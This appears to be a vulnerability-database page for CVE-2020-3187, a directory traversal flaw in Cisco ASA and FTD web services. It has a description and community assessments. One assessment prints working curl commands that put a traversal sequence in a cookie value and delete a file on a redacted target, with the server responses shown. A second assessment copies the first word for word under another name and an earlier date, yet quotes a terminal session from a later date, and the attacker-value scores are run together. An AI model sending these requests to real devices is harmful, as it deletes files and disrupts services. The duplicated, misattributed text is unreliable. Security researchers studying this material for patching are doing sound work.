CVE-2020-3187

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and obtain read and delete access to sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of the HTTP URL. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences. An exploit could allow the attacker to view or delete arbitrary files on the targeted system. When the device is reloaded after exploitation of this vulnerability, any files that were deleted are restored. The attacker can only view and delete files within the web services file system. This file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability can not be used to obtain access to ASA or FTD system files or underlying operating system (OS) files. Reloading the affected device will restore all files within the web services file system.

Recent assessments:

wvu-r7 at July 27, 2020 3:31pm UTC reported:

The file deletion doesn’t seem “useful” beyond disruption or denial of service against the web services. The files come back after a reboot, too. Not much “attacker value” here. The PoC is easy to weaponize, though, so please patch to avoid disruptions.

ETA: Hey, I can “patch” the vuln with the vuln:

wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Cache-Control: no-store
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 27 Jul 2020 19:57:23 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$ curl -kb token=../+CSCOE+/session_password.html https://[redacted]/+CSCOE+/session_password.html
wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 404 Not Found
Cache-Control: no-store
Pragma: no-cache
Connection: Close
Date: Mon, 27 Jul 2020 19:57:35 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$

This uses the vulnerable file to delete itself.

hrbrmstr at May 08, 2020 4:24am UTC reported:

The file deletion doesn’t seem “useful” beyond disruption or denial of service against the web services. The files come back after a reboot, too. Not much “attacker value” here. The PoC is easy to weaponize, though, so please patch to avoid disruptions.

ETA: Hey, I can “patch” the vuln with the vuln:

wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Cache-Control: no-store
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 27 Jul 2020 19:57:23 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$ curl -kb token=../+CSCOE+/session_password.html https://[redacted]/+CSCOE+/session_password.html
wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 404 Not Found
Cache-Control: no-store
Pragma: no-cache
Connection: Close
Date: Mon, 27 Jul 2020 19:57:35 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$

This uses the vulnerable file to delete itself.

Assessed Attacker Value: 3
Assessed Attacker Value: 3Assessed Attacker Value: 5